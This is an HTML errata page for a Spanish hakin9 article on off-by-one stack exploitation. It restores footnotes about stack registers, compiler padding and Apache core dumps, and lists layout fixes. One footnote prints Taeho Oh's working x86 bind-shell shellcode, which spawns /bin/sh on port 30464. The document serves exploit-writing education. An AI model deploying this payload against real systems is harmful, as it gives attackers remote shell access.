-
Notifications
You must be signed in to change notification settings - Fork 2
/
erratas_hakin9.html
81 lines (64 loc) · 4.64 KB
/
erratas_hakin9.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<html>
<head>
<title>Erratas del artículo</title>
</head>
<style type="text/css">
li { margin: 1.0em 0 0 0.5em; padding: 0; }
</style>
<body>
<h3>Erratas del artículo</h3>
Esto es un recopilatorio de erratas del artículo "Explotación en la pila: la técnica off-by-one" del número de Enero de hakin9.
Todas estas erratas fueron introducidas en la edición del artículo por parte de la editorial, el autor escribió los textos siguientes
correctamente, y 2 meses antes que saliera el artículo a la luz, advirtió a la editorial de los mismos, pero no todos fueron corregidos.
<ul>
<li>El listado 7 tiene el texto descentrado.
<img src="listado7.png">
<li>El listado 8 acaba en:
<pre>
execl("./prog", "prog", aux, 0);
}
</pre>
El <pre>Solo falta compilar ...</pre> hasta el final pertenece al texto del artículo, va después del primer párrafo de la columna central en la página 27.
<li>Faltan algunas footnotes, que aunque no profundizan en el tema central del artículo ayudan a un mejor aprendizaje, en concreto: 1, 2, 3, 5 y 6.
<ol>
<li>Vale la pena recordar que para la gestión de la pila hay dos registros de la CPU muy importantes:
El registro EBP, es el puntero de marco (frame pointer) y apunta a la doble palabra (32 bits) más baja del actual marco de pila.
El registro ESP, es el puntero de pila (stack pointer) y apunta al tope de la pila: la doble palabra más alta del actual marco de pila. Este registro marca la zona de la pila donde se han de apilar o desapilar los siguientes datos.
<li>El compilador introduce un relleno en el caso que el tamaño reservado para el buffer no sea múltiplo de 16 y sirve para favorecer un buen alineamiento en la memoria caché y así obtener un buen rendimiento del programa disminuyendo los fallos de caché.
Por tanto, si reservamos un buffer de 128 o 256 bytes, el compilador no introducirá ningún relleno. Si reservamos un buffer de 13 bytes, el compilador reservará 3 más para tener 16 y que la cantidad sea múltiplo de 16. En el caso que reservemos 17, el compilador añadiría 15 bytes más para reservar 32...
<li>La instrucción leave es un procedimiento de alto nivel que ejecuta las instrucciones:<br>
<pre>movl %ebp, %esp
popl %ebp</pre>
<li value="5">Para que el Apache pueda hacer un coredump cuando reciba un fallo de segmentación de alguno de sus hijos el usuario que corre apache debe poder escribir en el DocumentRoot o usar la directiva CoreDumpDirectory en el fichero de configuración de apache: httpd.conf. En este caso se uso:
<pre>
CoreDumpDirectory /var/log/apache/cores
</pre>
y se establecieron los permisos adecuados para que el usuario www-data pudiera escribir en dicho directorio.
Una vez añadido esto en la configuración de apache, se debe parar el servidor web, ejecutar como root:
<pre>
$ ulimit -c unlimited
</pre>
e iniciar el servidor web.
<li value="6">El shellcode de Taeho Oh es el más usado cuando se trata de explotación remota sobre Ix86, básicamente este shellcode hace un fork, el padre sale y el hijo crea un socket en el puerto 30464, duplica stdin, stdout y stderr para redirigirlos al descriptor de fichero del socket creado y ejecuta /bin/sh.
<pre>
char shellcode[]="\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";
</pre>
</ol>
<li>En la página 7 tras el primer párrafo ("Estudiemos la porción .... error.") convendría poner: "(Ver Listado 9.)."
<li>En la página 9, en el penúltimo párrafo de la primera columna, el "Taeho Oh6" es solo "Taeho Oh" el 6 hace referencia al footnote 6.
<li>En este artículo aprenderás...
<ul>
<li>Otra técnica de explotación en la pila y como evitarla.
<li>Como desarrollar un exploit a partir de una vulnerabilidad.
</ul>
<li>Lo que deberías saber...
<ul>
<li>Desbordamientos de pila.
<li>Ensamblador para IA32.
</ul>
<li>Figura 3: Estado de la pila en la instrucción: call <func>
<li>Figura 5: Reserva de memoria para las variables locales.
<li>Figura 7: Instrucción leave (segunda parte): Al desapilar el registro EBP sobreescrito tenemos el control sobre el puntero a marco.
</ul>
</body>
</html>